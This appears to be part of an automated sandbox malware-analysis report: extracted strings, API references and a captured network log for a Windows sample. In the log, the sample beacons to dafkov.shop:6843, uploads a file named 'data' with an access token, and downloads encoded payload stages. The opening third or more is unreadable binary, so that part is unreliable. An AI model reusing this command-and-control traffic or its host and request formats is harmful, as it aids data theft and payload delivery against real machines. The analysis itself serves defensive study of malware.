KdF,©Âgô\Y9YO½hAìW¬Ø©ær¦úxgqÄìÚÏ½ûtL³ñ«³TDÚ,²0È)| =cÐÙv]º|ÚsÍù¿Í,j|Õw¾&:îMV|UµÓ*È>ë*v?çª/1ØBOÜS.ô3Ô¿VA÷ÊEhªõS°°gÂèÃée2Ð%òRyA½fªö,QisÍ@JZ~Ö+îéyÔÒôüm|vÌ¢¬¬½ÚHEüU0¥ý 6Re.É:èì3P»¾éR:c{éÖÏ¤Æeïódv}&ÁeeþÔÓG7ÐËëÜi-sû÷^ÑYãüíÓÖ£];Í[Å³xìÙúÌ}|ÈÍ$ìJ]}¤àîÖÒF4uøNÂòca÷±'4prÎÍ[ØÌ«I¾¶Ri*ÓÃ{cvCÝ±(¢Ä¥BUH§7-AîïµÒëÏ\±åÅLðEÀõ$v~nÝ<¼ØÞN¼bdù ¢ãhyÍÃñ¬Ö¢1Â6ÙÎÌ 0ëûÅ&/"Ã[&P/ã²So¢þCPîÌ.íáÿËþ!¢³!y8?!!kÓUÃÇ~¦Ë¥ó×=<åÕZÆæ0EÅîÿÂqåuÏ¹Ø»ÌéT{»¾K}ÏhHB¹9æß|ÐÔN7Om¬h¾³£:æ}jHÛOGÓ3ïr»b2Ý¥ùîÐ$Ü¯dºñ·§âH>Ùò{_n«¨ïÒßLxñ,íõ¶?6ùRxoòlUstZ[Q^WËÅ_sPn³d1å¼f@)FÞ"å&ï`U61ó"LOÚº!ÒÅP(¤[%úVè@qÙv³¥Ä¬$êNÔ{q2-.[ÐÑÒKÍ²ðÆ×Oû&UÐà5r!x¤Êe)¼ÑMÅQÙ}^âòm¯ü¶YZeÜÁJu'Êq1z?Ëúý3N²ÚZAÊAãSK³@ùÆYÖpH¥æø>¢@éÿ±]ªnÁ7HÍ$+Ñà=0Y¶SO1,í×Ø³F=®z0ÔmL!X4<æ¾;/ß4MæÖÓçT$M~?/XÇ±£ÙIÖö´ÂK²Kf~Ò©¿%³¦]UT ÇV ^ÎÆòL ÐûNEÚÖtÉô(D*£~Eç0Ü@øo/7=Í3qÿ]À½ÒGÃ>"2R&}Ë?@QâS^KO×`q¢5qÎÚÒöSÛGºä§o8ÑnöVf¥î®¡¹F»¯9jä`.ÝÒõx{bæÂÒZâ¿ØèÜ£¥0¯.·ø)¬ÅIÞKrùðG"D½i8bØ¸(Ó¾z,~ûÁ!Û¸Næ=*²´xÿ/3uÖMÈÃDù~îÂ4'ä42¼ârØµ&.¬&ÔËÿ^ðnüú "yæÆNe¶hÎ²ÛëÀ©à*fÝõÕNl³ru¯<|nS°nü¸RéçÃAvÆ÷ËVúÏ&¢Ó³ã¬ñG^Õl3»72i©8Þë*_õ:¼÷$<¯±3ñ°´~:Ó}QIhzP³£§lø£'ÙÉAT¿ëP_ó²ßVû&oA§ó¦£wöæ¹¥¯SÁCRËíævYÏãëyä£R\²çUßAVt(9Íeì76s?ñjHðzH ¯EèZ\imnÅ d¨õc>u4~êw?¡}UJö¬²Ë{kjî¢#¥{R¯^Ú 3Ë¹ñfOáòú¼Cµ&|E+¢½üXq«ÓÔ&Øîö)H±¯Æ¬e6>f°T)IøSóå6jöÝ©j¤%[uÇ¼ì"RßWW³¥õMø/Þ¶@§Ãz^÷4¡2Ñ!J8dý¬¼½Iìr@Ã"æ#ü°@/.¸aæ/ÇìÝ~,7,èTAÝUßö7Ã¡ÑÃÊØ[ÁM2}Ô¼ñM>CDúíÚ}§¶sI©Ì¬t`g¤#ã?¶½æGÇX§±«86§ï¯h©~uG¦Më-5Å©Uî¸KÛâL:ÙÏI/ß`õÆr½ùP;=.gTf`ÀÀH§AôXëÃ<Å^ÈÁâµnxÙ2G?%þs&ó¹M'ùH|½Òdþã+]s·ET04gÒçu¾Ñ¾Ãc¸?ØIEð¶/»¯õ,ØéÜak×s+½ää?´ »ÉpD;ÑÅmÛ¤^Ñ7ÔÏÇÜÌi}Wc(Ý¡ÁóTVfMX³!A2#îÊò(\§ÀÖ5ÝOà²ÌÁ]pteÛeÔ[«h}~}#ÉyÑ×Ë`÷}¾TTÒBoRg§òIé·¾ý!kàËmýo`ñl7Y-yýÖÄß".r(;m*9º¸"_Oø`©t/Wñ¿³'#¿ç²Xòi?s©¨6©K.xøfGÜe`ÜVL¸Ó'ææP¥¯ÜSAAa-!&úºåeñÙ?»¤öòè'SÓºFÞQêZu~¹)Ö0«BùÚ>ø¬X¸J<æàvmaÆàb¥§@ÒôNè>·ñqâ5ûIÚ&-C)OÑÉ~ÒÝÚ´ ÇÃòY7Ão)Â0ÀøpèØ\@FÊ~frqdMþvLÜôWZVT)ÙîlÍ;PY&I¸|n»vØ+/»4ü@õâ!q'Çq,C9[´äïc9~§äÕ*FÏîËT:ÞË2¬1wÆÚöÕ²©ï`ZSC!ª>Äh°m?vVºÅtÅ£ýø«,nòôßbØª5v:£`îP1UtJ}º]FÁ`±-uøÓÓ)!â®þ°'âu´óCø+e>ú{N÷ð«|ãö3<^Jibm¸"e¼0¶¢½kàDUèÝðïjàBzs-Sñ¬ÒÆ&)Q7y`=X]WûGåmÓtoîÇ6ÜC]2t¨r_afö©¹k^·°ðàn:aËc(ñúIÂ3×åW-c\fÒýk8ç³aéÛ*/ïºpÓ,.leåx&<åì³åî'®°ãIc<`We>~³%³´ü!°4æ÷òO92,B]ÀP^éíC£ð?P5beÁÎGa1Z^é×å¬l=gÒs&¼Ùät µû Xik>»B4ÌOUTZDâçº""è*¾*£dRtøM¹ûøi½dù«çmßÃÍz»Ê®Á,ö1Q¿÷9øcª~¿éø!ígéþ´NãeMü^zB«LíÍwh¶GDçÝkãÁo½·`°íQ¶î8-ØÔúzùûx®ìRvÍ[f?*rÍ©Z¢.·ZgÜä×°ÔÿÇßè78åÌoº£2ÃÐ.ú4½ÓO¨d:ÑãJÿ×Ú6õ|ÁÈZÝnûj³¤p9ú9RüÏQb¢.¥>È6òÔâeîZ4Ã@·còqód¨ßÖ©¤3ÁþG#b¥0`_»p«nie6nÿBõ³H@_Â"'2î´»IäÊ¸Sþ´;F^]>ëçðªkd2ßÐ¥ZlÕflðïÀùÝËJ4dÅ UÑÑ7Öéë~<³tÎÅvyQ¯¸ÛE\ÙØÁ»s?N~ÝôjIiÌ©úÚ0Ù¦Ü®çxT?Z`\´Án¤¾54;ÛYºvOCê =8?ÕS}" &~ÄKT¯ÝYb¨ÊGgS»3oî0vT«Õ0 Åg6IFÕÏqï¥'úJ»PÊ.Øgós¥kÃk ªp6oâsÙ÷È´°(Ðëy@;¦iÔ¼b5ÖfpÂp¦¢úQCÂÃ|ÔÔÂ©©í`¼ªÖ§B½g$&ÓFùá¸t®6úQyëÊÜ(ïKNÐÌyÖA·jp^«³$®nXñç(Ëk'ë¤¼%òèzP@¨Ä,rÎµ|ö¤_Q5ÚVÛD¸Õ×nÿpm°;óåÏ}xÐ;04 Æú÷:&8_M4ÖVuÞÇ(Í+¤CºÛx±ìàK@®Ò/0ÄùÇ`´)»Gã°cÁÐçÿT¾lö³W+iªÝ:4ÿµùv²"´¨{×~?sþÚl gÇ¸ß¸ªÃ×¥Ó«u¢ÊÛ4x9]µaÃÒÉaÉ»xÂ)njÃ&Ìóäæ>½ÌÅo^d*/bsÇeÍìÌþ¹ûl)H÷¦Ó[t~ðSÜé¶B¨ðR¶cwM¾ÞÎáE64å¹%÷'ï¹&ÆçcÒow1^ @R^»#R»õQ®VóBcKid4Áõ7htcwúÓ6p+øÙ¿§E5B$HÉsx¾ï*«ælÅ-³ÿ7°àAÔàñÍ$#ÛúZt6æD»<·{fêä³lãÁ)1¿òÄÖ×+")zAYL{NÀC)<ËÂùR"ö~ciüP¿ðáÄ=y7ïæ¹Ó IíÀ1,. /&k¬..VÞó«4Ü¡äPIk5ïô}=î±ÄØycà^Ñð½E ìS&â÷%#ä³îõ2ç!wY0k3ý)Rá³3)Ù¢`SZ"úx*¬{¡JÈ°u&I¶3¸?¾:»¹ÄS3?ìE6ïÛi=9Q^Ë&;É×g'×þ»WÔP|)D.ÛºYÄ®æ¹Rve¸[ÆÍFpÛuÃvü0=®àßEMVÙ2i``môV½6?|óÓzx:%Ô° u§äbM59XfdÅ"óËZSáæ9ð|3m´ñ~VL3Ù½û¡úÏ6ý®Fxyßé8{åßoY¸¦ó¤8±°ðMÒÜ23LµV÷B÷Câ%IKÌOt¡Èo¢>þ'¯~â&°×äVs}´Ö¤¦\ÞLi÷7y:9¸¶¾'^¶g9iàìñÈq¬8Xì1í¤J¿]\©þÝ&)3¸(JúZ¨õ&ÈëY«S÷UóTD7ó¹iµÄq¥ÿ³¦øiAFìþú:pð©ÙøæÜ#:%o"Çöõ}õ)e¨&Y·YEöÏïÝmÃ°dö¡üäùÚ»ÆMk¥Õ>©×FÄúKº}|9Æ:!m¥jÔPÎéÐ³@KRÆ3ð?âDP-¼ÌpX <\²Hu¶ïòoúÆ+U},ûS:fUæc»íZÀëfgsnã¡_ÌÃº7JþÉþyN;Û¤ÿìfÂ-¤bÚ?EÜ³³b@!¯³S7bÿ!a kv½¬dJM5MOú8H¥Ö¾=÷ÇòzÿY¦"*íÌmÙo©Â4¢^{Ùçlû)áÀØ;B$NSÈKa Øm4Õr»ÇqDÖxº}Ï¸__(õÍ³ÏÚÈè÷m 'Õ½¥*¥:z m¯¾èTu(v#hë»ÃÄé«4*!jY¡î«Aú;°\NZ=wÕãC¯#ÆE"éK20øÔÃkÁKÌ¢ÂÁ]¯M!-C*Å«s ²ULÊxÌÊÍÝ¿3ZåC73´À\30g)<yÕÛ>øÓmÍvýgR ~²{L\ÂAÛúí6Gë5Â«DÀ¡È`´ÜTsÍ¡ÇÆ UÍ9ø\'¿5ó©µµßf3:fÉkÆ}íM»ýNù^bw7Àp5Y3}è/XþÞ{Õì¶x!æK¿^v«©ªÉÞ}c |P¢¸½£qTò\ºk½d|ds²²&óC¾f*àÚÏ¨Ñ¦Rºnê½ëìgè-ImJ¿Yèn\ÿê[«´*/C³WJYå(ª[G3Q\% Ü#âO¹ëÜÚµÖ_ÀVWGov#iï-)DyÉ·FfYzÌ1äÝ¯£$2¶ÑÖöÓñ{5¡¶uïÎÿhLUíÏáÒÞÚð|îú¢ñSÍw½Æì·¸ûúààæM¼êE3ÔmOh`Ùª;Bó1/Û½ªå$q`Æ^¹§ÁKFÖo[ìÛÚó¦AÎ6¸"Pòy_pµªÙAÓþ 0×à¦2 =G?³r[,j=ì)ö$Ëþôl+¸§à\SõWÊ®Hf×)°Ühc1Þò`dÄoÿÚîmRÙtÉðâ4øÝÝ$Íd-1Ã8ê¦½í®aÂùÑ#ÞãâpEÒ#¶¬üÙRbgÛê3_ED:¬gëeö£D¾ÅjzCÉøL|á¤.7pZÃÀ«cÃR´éíºÁ·¢4;¼Ö»ÕÙÇçWþ3Zlæ)ïÔnß[äøÃdçöçlMÇOÿ((åp8»úòÐYÆþ×±p¯=ÃVA5Ö®æ!}=£S%wsÌÈOewp>H=CÝlVÐ¿w¢²¥6Ü¨£8yÝ+`1EkÜ:à3æ±içÃ¿nÒmÙßPö¡Ôá_ZÞ|&!TÄ!G{cãR "!nðg!È(}Óæ±ÕÈM÷À;yT7Zª1[Ïnà©Acg¾aÌ5YÆ$Gg^¡xéÊRüU¸¶òÒGlgqà¹×,ÁÜo-ÈñÜÔé0EaXÌÉE·»ài÷¨E,*òÖ¼ÚMnqzÅÊÁ´B=|bêåÜ¨/6ùÙÃÙü GÎþ|pìa¡£x%¥Vyh-ª9/EÃz¨yøå+Ó¿ÉCQSÔ§×6áÆæ¹Bz¢ÆD»n¾êRYù!ùW>3yÅ5OOTÎ q¥Ãæ·_øF¨î:Ó"OéÝúÀ¿Iæ»yä²>KÛÏqOiÖâ#¥ØºÉ¿ZB¦:]øÛèKÏ-Cùt^WAm,Ýé»ÒÿDÆkn±ï'¨[x]B:!5®ßHáÌ¤}-qê(akY;¥Þß´µg-5VÀ¿heüè èßm¡nÑgÐn$Ô´Æ³:T8èÖ¯2öP'%«R½Í<;æèrÏÃ¢Ö5Ô³"@RaªcÿIì<=éL¡Wtµh^-Ý³2¾âó¢à¹ª»t&&ñ:Kæ+`¦)eÍáYÊkß.6# ¹¢#KP÷VÐáÂt4Þ_ïbe6^wÎ¦~à'ÔeähE,C9M®¥ QÅ_C£""Ûp°[Ô8ÀnÂ±¯ÁÌrkq/âºj Î¥ÉÃþ}Êr¶P6LÝA?ÕÅ¬¥Ö@[å¿x³X-O£y¦U§F6)ZvÊ Ló·¡w#<øËqRcÈ²¬s1 «4#Fw%eü_×º@_Âª«»~_ êoê´KÙïã%hÖ1|'äªPå&` hzB°Ø.æ|äyrµï×yzò{ä³ËE¶®_+\²ÈW¸ñEOÖåuÐeF¾M®Bp¶EKZ¨æ%ËOÏÅwÏ ÀWT Q÷ù»×n@ç®øËã0Ð4f¼Õæ}²&8$ÿ©àë²{nàÜÔÈÏKµµ9Yñ´¬>¾ú¨Ív½í Puêo'/$Xb6\K.äRé)Ô;"Ìm Þ#I?HÞë¹§ïÉn½`áFßJº}>·QM|YäÒñgeyÌùF}=ÿ{ô7Âô©9^øUÁòý7Û¶§-{þ=¶Àï¥ÏoHMnJOØÎ#QnÃ9éeuOV]é ß[dzGÏ¥àÆµè¦ÞïÃ½ô»ï¦:èÔðþîß¯C<µW©m]·¸UCDs#éCjßIõtlªÕÖJný*o;NR_xWúÃÒ7ìt$÷îÆ6´}6xmãsoëó¥vÜrHæåõ¢óM·àÔnÚ,«º1rùdîìz(Î½ïd |Qý¹ÚiyÃÑåGXLø¾J½ßhcý±a5èþ`ã©8u¡ÓÀfû¡Z;ø:qÒw:ZJÂÀi£ÀFT·³}N&ñß»/c2÷g®k£1Y}v÷&wëgR+5bx6pð¹É6jOÖLØñí<(t#,²&¿ôl²¯@=ý;hÔFÜ)5&¯ïl5 C>åqñX§ÃõÇoô{ÅëÇáQüÂêý¿86h÷"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=w1u1TZDm0Tgw"; Source: "00000000-00004984-00000CCB-2243358672") Found string "--w1u1TZDm0TgwContent-Disposition: form-data; name="access_token"311657b6-44a5-4e84-bbe8-3111804e8f9f--w1u1TZDm0TgwContent-Disposition: form-data; name="type"0--w1u1TZDm0TgwContent-Disposition: form-data; name="file"; filename="data"Content"; Source: "00000000-00004984-00000CCB-2243358672") Found string "Content-Type: multipart/form-data; boundary=D6Fm9XeZaN69yH"; Source: "00000000-00004984-00000CCB-2272984180") Found string "--D6Fm9XeZaN69yHContent-Disposition: form-data; name="access_token"311657b6-44a5-4e84-bbe8-3111804e8f9f--D6Fm9XeZaN69yHContent-Disposition: form-data; name="type"0--D6Fm9XeZaN69yHContent-Disposition: form-data; name="file"; filename="data"C"; Source: "00000000-00004984-00000CCB-2272984180") Found string "Content-Type: multipart/form-data; boundary=qaXB730ND83o7qeJqR"; Source: "00000000-00004984-00000CCB-2275648464") Found string "--qaXB730ND83o7qeJqRContent-Disposition: form-data; name="access_token"311657b6-44a5-4e84-bbe8-3111804e8f9f--qaXB730ND83o7qeJqRContent-Disposition: form-data; name="type"0--qaXB730ND83o7qeJqRContent-Disposition: form-data; name="file"; filena"; Source: "00000000-00004984-00000CCB-2275648464")36:T42f,Heuristic match: "v$..by" Heuristic match: "pa.sj" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1!0" Pattern match: "http://ocsp.digicert.com0c" Pattern match: "cacerts.digicert.com/digicertassuredidrootca.crt0e" Pattern match: "crl3.digicert.com/digicertassuredidrootca.crl0" Pattern match: "www.hahninc.global" Pattern match: "www.hahninc-alberto.group0" Pattern match: "http://ocsp.digicert.com0a" Pattern match: "cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "crl3.digicert.com/digicerttrustedrootg4.crl0" Pattern match: "http://ocsp.digicert.com0" Pattern match: "cacerts.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crt0_" Pattern match: "crl3.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crl0" Pattern match: "https://www.hahninc.digital" Pattern match: "http://dafkov.shop:6843-74" Pattern match: "http://dafkov.shop:6843-892" Pattern match: "http://dafkov.shop:6843-56" Pattern match: "http://dafkov.shop:6843-1127" Pattern match: "http://dafkov.shop:6843-791463"37:T4bb,Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin")38:T749," "access_token=&debug=http://dafkov.shop:6843-74" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 74 Host: dafkov.shop:6843" with payload::==> "tag=1a65a35865c361f76d11a7a9aa730a97&hwid=c3f67f91133564456627f6bfa71f9c93" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:10 GMT Content-Type: application/octet-stream Content-Length: 117 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"75-vpCyktPYoJ7xE09ONtqhchkcm2o" with response body ==>79673BC29DC3BE05C3A5426424C2BA4063416BC29066C2A4287AC381C3A8C2BF1BC3A8C3B42BC3894A31C39C56720A1EC3BD497D0A11C3837F56C2B0C3887AC3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 83 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=http://dafkov.shop:6843-892" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=w1u1TZDm0Tgw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 892 Host: dafkov.shop:6843" with payload::==> "--w1u1TZDm0TgwContent-Disposition: form-data; name="access_token"311657b6-44a5-4e84-bbe8-3111804e8f9f--w1u1TZDm0TgwContent-Disposition: form-data; name="type"0--w1u1TZDm0TgwContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamñuLÔ9päó³w+)¸ÂícÈÐùð¬¾»szd#;W(îYÕ6$Ò#ÉsÄkæ¶¿5Ëô@ÙRjk£äQ1Á:ö5åÏªº¶qÝ9¡óÐm±]6À·É#,º«à¢ñ=Ê~.Xê¬ÏäYàû6~Íì¢Âu±F,%Ø³õ¸[¡oæ.Dé>47ÒzÄà³Ñp¤-øê3¨ÂoêS>ç.Á,w2ÚÅ¶Þ+©ìÑdb?ãÆpzW±G'ÿâ¯ÿÓnädw:"|@§CHUXp+©ÂðçÃ$0V¡¢ÏÚ¡éÅ%¢*jêvÀIpx2k7¹>ÀX§ù;®Ê¾öi[ÎQ«%ÊºËWPàÙR©Ôçü¶àý!Á¡PsëGOLH º@ T¦ñc¸U7265636569766564....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=http://dafkov.shop:6843-56" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&step=1" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:12 GMT Content-Type: application/octet-stream Content-Length: 2457 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"999-x5IWorie2A8FV7lSQnOecbbmbK4" with response body ==>C3B2C389C29D02C2A5C3800C5B10C2976EC288C294C39DC28B3FC391C2A51D43C2851122C2AE71C2BFC3A843C388C2A33308C392782FC3AB2BC283C3A0C28CC3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=http://dafkov.shop:6843-56" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:12 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&step=2" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:13 GMT Content-Type: application/octet-stream Content-Length: 4686 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"124e-KCVwoHWDWFCuQHCSudygjuJfWy0" with response body ==>C292C38AC391C28A42C394C28C2AC29346C28D265022C2A72BC2BF1DC28D7A450DC3BD5C34C2BBC3851722C3A8C393C3B9C3BCC3B3C3AF39C3A62FC2B866C2AB....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=http://dafkov.shop:6843-56" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:14 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&step=3" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:14 GMT Content-Type: application/octet-stream Content-Length: 6390 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"18f6-R2Acn/Kq+Sq2zTa3h0SAvbk81xc" with response body ==>4BC3BB22C287C3ABC28975C2A23AC298C38471C39BC289422FC28043C3B965C38A75C380C2B2C3915AC3863CC2812426C2A35537C290394416C38C6E6C78297A....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=http://dafkov.shop:6843-56" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:15 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&step=4" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:15 GMT Content-Type: application/octet-stream Content-Length: 7764 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"1e54-w92oO8YD7xV0NIkzuIOBzFM2NSU" with response body ==>75C29A242152C3826AC3850961C2B3C280C39102517BC3860EC3A23C402674C3A1C2B9C3BAC2BAC3B1C381C3A02E0223422A445361C39575C28AC39036C39EC3....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 82 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=http://dafkov.shop:6843-56" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:16 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 56 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&step=5" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:17 GMT Content-Type: application/octet-stream Content-Length: 44358 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"ad46-Xw3G0SWZEYWk9t4fSn3ibRGEHE8" with response body ==>3CC2A1542A4DC39078C3A7C2925A4AC2950715C2BE0206C3BAC392C382C2963538C3BEC3AE101B3D7CC3986232C2A77CC29D2D485A53C3B2C2A0C2A15DC2B637....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:17 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: 